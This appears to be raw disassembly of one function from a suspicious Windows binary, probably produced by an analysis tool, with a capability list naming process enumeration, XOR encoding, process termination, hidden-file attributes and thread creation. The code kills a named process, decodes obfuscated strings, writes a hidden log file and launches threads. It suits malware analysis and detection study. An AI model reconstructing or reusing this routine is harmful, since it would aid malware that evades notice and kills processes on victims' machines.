Function at 0x41f540
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x598d26
mov eax, dword fs:[0]
push eax
sub esp, 0x290
mov eax, dword [0x6d28d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
push 0
push 2
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x138], pe_nt_image_headers32
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41f5e2
lea ecx, [ecx]
mov ecx, ebx
lea eax, [ebp - 0x114]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41f5c8
test dl, dl
je 0x41f5c4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41f5c8
add eax, 2
add ecx, 2
test dl, dl
jne 0x41f5a8
xor eax, eax
jmp 0x41f5cd
sbb eax, eax
or eax, 1
test eax, eax
je 0x41f60a
lea eax, [ebp - 0x138]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x41f5a0
cmp esi, 0xffffffff
je 0x41f5ee
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00597574
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x130]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [0x6e31cc], 1
jne 0x41f755
mov dword [ebp - 0x13c], 0x5a7ba4
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41f697
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41f68e
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41f672
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x29c]
call fcn.0040c3b0
mov dword [ebp - 0x13c], 0x5ab1e8
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x41f715
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41f70c
sub edi, ecx
nop
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41f6f0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x29c]
push edi
push eax
call fcn.0040ae40
push dword [ebp - 0x140]
lea eax, [ebp - 0x29c]
push eax
call fcn.0040ae40
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x23c]
call fcn.0040c4c0
lea ecx, [ebp - 0x23c]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
cmp dword [0x6e31dc], 1
jne 0x41fa38
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR120.dll__time64]
lea eax, [ebp - 0x14c]
push eax
call dword [sym.imp.MSVCR120.dll__localtime64]
mov dword [ebp - 0x13c], 0x5ab20c
add esp, 8
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
mov dword [ebp - 0x144], eax
cmp byte [ebx + 0x13], 0
je 0x41f7e9
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41f7e0
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41f7c4
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x1f4]
call fcn.0040c3b0
mov dword [ebp - 0x13c], str._rwBmWjj
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x41f866
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41f85d
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41f841
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x1f4]
push edi
push eax
call fcn.0040ae40
push dword [ebp - 0x144]
call dword [sym.imp.MSVCR120.dll_asctime]
push eax
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040ae40
mov dword [ebp - 0x13c], 0x5ab224
add esp, 0x14
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41f8f5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41f8ec
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41f8d0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x1f4]
push edi
push eax
call fcn.0040ae40
push dword [ebp - 0x140]
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040ae40
mov dword [ebp - 0x13c], 0x5a7c38
add esp, 0x10
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41f97b
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41f972
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41f956
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x1f4]
push edi
push eax
call fcn.0040ae40
add esp, 8
lea ecx, [ebp - 0x1f0]
call fcn.00409fd0
test eax, eax
jne 0x41f9b4
push eax
mov eax, dword [ebp - 0x1f4]
lea ecx, [ebp - 0x1f4]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x13c], 0x5ab20c
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41fa18
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fa0f
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41f9f3
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x194]
call fcn.0040c4c0
lea ecx, [ebp - 0x194]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [0x6e31d0]
push 0
cmp eax, 1
jne 0x41fa6a
push 0
push 0
push 0x41fba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x41fa7a
push 0
push 0
push 0x41fb20
jmp 0x41fa4d
cmp eax, 3
jne 0x41fa8a
push 0
push 0
push 0x41fc20
jmp 0x41fa4d
cmp eax, 4
jne 0x41fa64
push 0
push 0
push 0x40f2d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x13c], 0x5ab248
mov ebx, dword [ebp - 0x13c]
mov edi, dword [ebp - 0x13c]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41fb06
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x13c], ecx
test esi, esi
je 0x41fafd
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x13c]
cmp edx, dword [ebx + 0xf]
jb 0x41fae1
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200010
push edi
push dword [ebp - 0x140]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x41fa62